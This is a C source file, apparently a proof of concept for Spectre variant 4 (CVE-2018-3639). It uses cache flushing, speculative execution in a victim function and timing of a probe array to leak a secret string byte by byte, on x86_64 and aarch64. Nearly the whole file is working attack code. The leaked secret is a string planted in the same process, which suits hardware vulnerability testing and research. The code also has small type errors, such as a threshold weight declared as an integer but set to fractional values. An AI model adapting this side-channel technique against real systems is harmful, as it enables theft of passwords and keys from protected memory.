/*
 * Filename: spectre-v4.c
 * Created Date: Wednesday, July 1st 2020, 7:25:30 pm
 * Author: long
 * 
 * Copyright (c) 2020 Your Company
 */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

// #if defined(__x86_64__)
// /* 64 bit detected */
// #endif
// #if defined(__i386__)
// /* 32 bit x86 detected */
// #endif

#if defined(__x86_64__)
#include <x86intrin.h>
static inline void clflush(void* addr)
{
    _mm_clflush(addr);
    _mm_mfence();
}

static inline void dsbsy()
{
    _mm_mfence();
}
#endif

#if defined(__aarch64__)
static inline void clflush(void* addr)
{
    asm("dc civac, %[addr];"
        "dsb sy" ::[addr] "r"(addr));
}

static inline void dsbsy()
{
    asm("dsb sy");
}
#endif

int debug = 0;
static struct timespec time_start = { 0, 0 }, time_end = { 0, 0 };

#define LEN 16
// #define MAX_TRIES 50

int max_tries_arg = 600;
int hit_threshold_weight = 2.2;

unsigned char** memory_slot_ptr[256];
unsigned char* memory_slot[256];

unsigned char secret_key[] = "PASSWORD_SPECTRE";
// unsigned char secret_key[] = "1234567890abcdef";
unsigned char public_key[] = "################";
#define PAGE_SIZE 512

uint8_t probe[256 * PAGE_SIZE] __attribute__((aligned(PAGE_SIZE))); // 不对齐,可能出现问题
volatile uint8_t tmp = 0;

long time_read(volatile uint8_t* addr)
{
    long ns = 0;
    uint8_t temp_val;
    // clock_gettime(CLOCK_MONOTONIC, &time_start);
    // dsbsy();
    clock_gettime(CLOCK_MONOTONIC, &time_start);
    dsbsy();
    temp_val &= *addr;
    dsbsy();
    clock_gettime(CLOCK_MONOTONIC, &time_end);
    // ns = (time_end.tv_sec - time_start.tv_sec) * 1000000000 + (time_end.tv_nsec - time_start.tv_nsec);
    ns = (time_end.tv_nsec - time_start.tv_nsec);
    return ns;
}

long get_threshold()
{
    uint8_t temp;
    long junk;
    long miss_time, hit_time, avg_time;
    clflush(&temp);
    miss_time = time_read(&temp);
    hit_time = time_read(&temp);

    // avg_time = sqrt(hit_time*miss_time);
    avg_time = (hit_time + miss_time) / hit_threshold_weight;
    // avg_time = (hit_time + miss_time) / 2;
    // printf("time: hit: %4d, miss: %4d, avg: %4d\n", hit_time, miss_time, avg_time);

    return avg_time;
}

void victim_function(size_t idx)
{
    unsigned char** memory_slot_slow_ptr = *memory_slot_ptr;
    *memory_slot_slow_ptr = public_key;
    tmp = probe[(*memory_slot)[idx] * PAGE_SIZE];
}
char get_show_char(uint8_t c)
{
    return (c >= 33 && c <= 127) ? c : '?';
}

int attacker_function()
{
    char password[LEN + 1] = { '\0' };

    for (int idx = 0; idx < LEN; ++idx) {

        int results[256] = { 0 };
        unsigned int junk = 0;

        for (int tries = 0; tries < max_tries_arg; tries++) {

            *memory_slot_ptr = memory_slot;
            *memory_slot = secret_key;

            clflush(memory_slot_ptr);
            for (int i = 0; i < 256; i++) {
                clflush(&probe[i * PAGE_SIZE]);
            }

            dsbsy();

            victim_function(idx);

            for (int i = 0; i < 256; i++) {

                // int mix_i = ((i * 167) + 13) & 255;
                int mix_i = i;
                volatile uint8_t* addr = &probe[mix_i * PAGE_SIZE];

                long hit_threshold = get_threshold();
                long delay = time_read(addr);

                // if (delay <= CACHE_HIT_THRESHOLD && i != public_key[idx]) {
                if (delay <= hit_threshold && mix_i != public_key[idx]) {
                    results[mix_i]++; // cache hit
                }
            }
#if defined(__aarch64__)
            FILE* f = fopen("/dev/null", "w");
            fclose(f);
#endif
        }
        tmp ^= junk; // use junk so code above won’t get optimized out

        int highest = -1;
        for (int i = 0; i < 256; i++) {
            if (highest < 0 || results[highest] < results[i]) {
                highest = i;
            }
        }
        printf("idx:%2d %c[0x%x], highest: %c[0x%x], hitrate:%f\n", idx, secret_key[idx], secret_key[idx], get_show_char(highest), highest,
            (double)results[highest] * 100 / max_tries_arg);
        password[idx] = get_show_char(highest);
    }
    printf("target : %s\n", secret_key);
    printf("guest  : %s\n", password);
    int cc = 0, i;

    for (i = 0; secret_key[i]; i++) {
        if (secret_key[i] == password[i]) {
            cc++;
        }
    }
    if (cc == i)
        return 0;
    else if (cc > 0)
        return cc;
    return -1;
}

void usage(const char* argv[])
{
    printf("usage: %s [-h] [threshold_wight max_tries]\n", argv[0]);
    printf("    hreshold weight should between [1.1, 3], generally is 2\n");
    printf("    round max_tries time should greater 30, generally between [50, 999]\n");
}

int main(int argc, const char* argv[])
{
    if (argc == 2) {

        if (!strcmp("-debug", argv[1])) {
            debug = 1;
        } else if (!strcmp("-h", argv[1])) {
            usage(argv);
            return 0;
        }
    } else if (argc == 3) {
        hit_threshold_weight = atof(argv[1]);
        max_tries_arg = atoi(argv[2]);
        if (hit_threshold_weight > 3 || hit_threshold_weight < 1.1) {
            printf("threshold weight should between [1.1, 3], generally is 2, current is: %.1f\n", hit_threshold_weight);
            usage(argv);
            return 2;
        }
        if (max_tries_arg < 30) {
            printf("round tries time should greater 30, generally between [50, 999], current is %d\n", max_tries_arg);
            usage(argv);
            return 3;
        }
    }

    printf(
        "****************************************\n"
        "Spectre-V4(CVE-2018-3639) POC test by Koyst.\n"
        "ref mmxsrup/CVE-2018-3639 \n"
        "speculative store bypass\n"
        "****************************************\n");

    int xxlen = strlen(secret_key);
    for (int round = 0; round < 10; round++) {
        for (int i = 0; i < 256 * PAGE_SIZE; ++i) {
            probe[i] = 1; // write to array2 so in RAM not copy-on-write zero pages
        }
        printf("attac round %d\n", round);
        int res = attacker_function();
        if (res == 0) {
            printf("attack success!\n");
            return 0;
        } else if (res > 0) {
            printf("attack get count %d/%d\n", res, xxlen);
        }
        usleep(10000);
    }
}
